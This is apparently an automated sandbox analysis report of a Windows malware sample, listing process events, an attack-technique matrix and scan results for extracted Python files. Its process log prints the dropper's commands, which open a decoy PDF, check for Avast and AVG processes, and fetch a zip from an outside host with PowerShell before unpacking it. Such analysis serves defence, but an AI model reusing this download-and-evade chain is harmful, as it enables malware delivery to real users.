Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 5626	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5668	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4057	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6535
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3101

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6832	Thread sleep count: 5668 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6028	Thread sleep count: 4057 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8040	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8108	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7296	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2648	Thread sleep count: 6535 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2648	Thread sleep count: 3101 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep time: -9223372036854770s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: 3.8.html.17.dr	Binary or memory string: for better performance. On Windows Subsystem for Linux and QEMU User
Source: svchost.exe, 0000000A.00000002.2955982539.00000224FD02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2958010714.00000224FE658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000008.00000002.2402445638.000002E7EC6EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DVWHKMNFNN.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior

Source: find.exe, 00000007.00000002.1713829678.00000226411F0000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000007.00000002.1713866450.000002264121B000.00000004.00000020.00020000.00000000.sdmp

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	1 Taint Shared Content	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_aix_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_collections_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_compression.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_markupbase.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_osx_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_py_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pydatetime.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pyio.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pylong.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_sitebuiltins.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_strptime.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_threading_local.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_weakrefset.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\aifc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\argparse.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ast.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\runners.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\selector_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\sslproto.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\staggered.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\streams.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\taskgroups.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\windows_utils.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\base64.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bdb.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bisect.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bz2.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cProfile.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\calendar.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cgi.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cgitb.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\chunk.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cmd.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\code.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\codecs.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\colorsys.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\compileall.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\concurrent\futures\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\concurrent\futures\_base.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\concurrent\futures\process.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\concurrent\futures\thread.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\configparser.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\contextlib.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\contextvars.py	0%	ReversingLabs
